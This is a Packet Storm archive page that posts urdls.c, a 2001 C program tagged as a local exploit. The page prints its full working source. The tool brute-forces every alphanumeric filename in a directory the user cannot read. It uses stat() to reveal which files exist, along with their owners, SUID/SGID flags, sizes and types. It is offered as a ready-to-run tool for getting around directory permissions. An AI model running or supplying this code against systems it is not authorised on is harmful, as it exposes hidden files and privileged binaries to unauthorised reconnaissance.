what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

urdls.c

urdls.c
Posted Feb 14, 2001
Authored by vade79, realhalo | Site realhalo.org

Urdls.c is an unreadable directory lister for listing files in directories on the local machine without having permission to do so. Guesses all possible alphanumeric filenames and uses stat() to check for existence.

tags | exploit, local
SHA-256 | 29bcbbdb8adad6126d66e865af9c6707e7c5b9e2bfeb2bf05da25629f38551de

urdls.c

Change Mirror Download
/* URDLS: unreadable directory lister -- v2. *********************************
* urdls.c/urdls[revision2], (alphanumeric) unreadable directory lister. *
* for listing files in directories without having permission to do so. *
* this program goes in a round-up (with 09-AZ-az) fashion, so it supports *
* start and stop points. (argument 3) *
* *
* by: vade79 -> v9[v9@realhalo.org] -> www.fakehalo.org. *
*****************************************************************************/
#include <stdio.h>
#include <pwd.h>
#include <grp.h>
#include <signal.h>
#include <sys/stat.h>
#define MAX_DIRECTORY_LEN 4095 /* maximum directory length. */
#define MAX_FILENAME_LEN 255 /* maximum filename length. */
#define MAX_ID_ENTRY_LEN 1024 /* maximum id entry length. */
char file[MAX_FILENAME_LEN+1];
char path[MAX_DIRECTORY_LEN+1];
char fullpath[sizeof(path)+sizeof(file)];
char owner_u[MAX_ID_ENTRY_LEN];
char owner_g[MAX_ID_ENTRY_LEN];
void quit(){
fprintf(stderr,"finished run of: %s (stopped at: %s)\n",path,file);
exit(0);
}
main(int argc,char **argv){
int i=0;
int j=1;
int s=0;
int cpudelay=0;
char setid[5];
char filetype[5];
struct stat mod;
struct passwd *user;
struct group *group;
fprintf(stderr,"[ unreadable directory file lister, by v9[v9@realhalo.org]. ]"
"\n");
if(argc>1){
if(strlen(argv[1])>MAX_DIRECTORY_LEN){
fprintf(stderr,"%s: argument 1 is too large.\n",argv[0]);
exit(1);
}
strncpy(path,argv[1],MAX_DIRECTORY_LEN);
if(path[strlen(path)-1]!=(char)0x2F)
sprintf(path,"%s/",path);
if(stat(path,&mod)||!S_ISDIR(mod.st_mode)){
fprintf(stderr,"%s: argument 1 is an invalid directory.\n",argv[0]);
exit(1);
}
}
else{
fprintf(stderr,"usage: %s <directory> [cpu delay(usecs)] [start value]\n",
argv[0]);
exit(0);
}
if(argc>2){
if(atoi(argv[2])<0){
fprintf(stderr,"%s: argument 2 must be equal or greater than zero.\n",
argv[0]);
exit(1);
}
else
cpudelay=atoi(argv[2]);
}
if(argc>3){
if(strlen(argv[3])>MAX_FILENAME_LEN){
fprintf(stderr,"%s: argument 3 is too large.\n",argv[0]);
exit(1);
}
else{
strcpy(file,argv[3]);
for(i=0;strlen(file)>i;i++)
if(!isalnum(file[i])){
fprintf(stderr,"%s: argument 3 has non-alphanumeric character(s).\n",
argv[0]);
exit(1);
}
}
}
else
file[0]=0x2F;
signal(SIGINT,quit);
fprintf(stderr,"[ directory: %s, delay(usecs): %d, start value: %s. ]\n",path,
cpudelay,file[0]==(char)0x2F?"new session":file);
fprintf(stderr,"num%cowner%cgroup%cprivs%csize%ctype%cfilename\n",0x9,0x9,0x9,
0x9,0x9,0x9);
while(1){
file[strlen(file)-1]++;
for(i=strlen(file);(i+1);i--){
if(file[i]>=(char)0x7B){
if(i){
file[i]=0x30;
file[i-1]++;
}
else{
if(strlen(file)>=MAX_FILENAME_LEN){
fprintf(stderr,"finished run of: %s\n",path);
exit(0);
}
else{
file[0]=0x30;
sprintf(file,"%c%s",0x30,file);
}
}
}
if(file[i]==(char)0x5B)
file[i]=0x61;
if(file[i]==(char)0x3A)
file[i]=0x41;
}
snprintf(fullpath,sizeof(fullpath),"%s%s",path,file);
if(!stat(fullpath,&mod)){
if(!(user=getpwuid(mod.st_uid)))
sprintf(owner_u,"%u",mod.st_uid);
else{
if(user->pw_name)
strncpy(owner_u,user->pw_name,MAX_ID_ENTRY_LEN);
else
sprintf(owner_u,"%u",user->pw_uid);
}
if(!(group=getgrgid(mod.st_gid)))
sprintf(owner_g,"%u",mod.st_gid);
else{
if(group->gr_name)
strncpy(owner_g,group->gr_name,MAX_ID_ENTRY_LEN);
else
sprintf(owner_g,"%u",group->gr_gid);
}
sprintf(setid,"none");
if(S_ISUID&mod.st_mode)
sprintf(setid,"SUID");
if(S_ISGID&mod.st_mode){
if(S_ISUID&mod.st_mode)
sprintf(setid,"S*ID");
else
sprintf(setid,"SGID");
}
if(S_ISREG(mod.st_mode))
sprintf(filetype,"file");
else if(S_ISLNK(mod.st_mode))
sprintf(filetype,"link");
else if(S_ISDIR(mod.st_mode))
sprintf(filetype,"dir");
else if(S_ISCHR(mod.st_mode))
sprintf(filetype,"cdev");
else if(S_ISBLK(mod.st_mode))
sprintf(filetype,"bdev");
else if(S_ISFIFO(mod.st_mode))
sprintf(filetype,"fifo");
else if(S_ISSOCK(mod.st_mode))
sprintf(filetype,"sock");
fprintf(stderr,"#%d%c%s%c%s%c%s%c%dkb%c%s%c%s\n",j++,0x9,owner_u,0x9,
owner_g,0x9,setid,0x9,(mod.st_size/1024),0x9,filetype,0x9,file);
}
if(cpudelay)
usleep(cpudelay);
}
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close